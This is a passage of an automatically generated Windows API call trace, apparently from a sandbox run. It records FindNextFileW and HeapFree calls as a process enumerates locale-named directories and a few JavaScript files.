	[0185.410] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0185.411] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.411] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0185.412] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.412] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0185.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.413] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0185.413] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.413] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0185.414] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.414] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0185.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.415] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0185.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.415] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0185.415] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.415] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0185.416] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.416] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0185.416] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.417] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0185.417] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.417] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0185.417] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.417] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0185.418] FindClose (in: hFindFile=0x4142d98 | out: hFindFile=0x4142d98) returned 1
	[0185.418] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.418] FindNextFileW (in: hFindFile=0x4142dd8, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0185.419] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.419] FindNextFileW (in: hFindFile=0x4142a18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0185.419] FindClose (in: hFindFile=0x4142a18 | out: hFindFile=0x4142a18) returned 1
	[0185.419] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.419] FindNextFileW (in: hFindFile=0x4142dd8, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0185.419] FindClose (in: hFindFile=0x4142dd8 | out: hFindFile=0x4142dd8) returned 1
	[0185.419] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.420] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0185.420] FindClose (in: hFindFile=0x4142b18 | out: hFindFile=0x4142b18) returned 1
	[0185.420] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0185.422] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1
	[0185.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.426] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0185.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.426] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0185.426] FindClose (in: hFindFile=0x4142d98 | out: hFindFile=0x4142d98) returned 1
	[0185.426] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0185.426] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1
	[0185.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.855] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0185.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.856] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0185.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.856] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0185.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.856] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0185.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.856] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0185.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.857] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0185.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.857] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0185.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.857] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0185.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.857] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0185.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.857] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0185.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.857] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0185.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.858] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0185.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.858] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0185.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.858] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0185.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.858] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0185.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.858] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0185.858] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.858] FindNextFileW (in: hFindFile=0x4142b58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0185.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
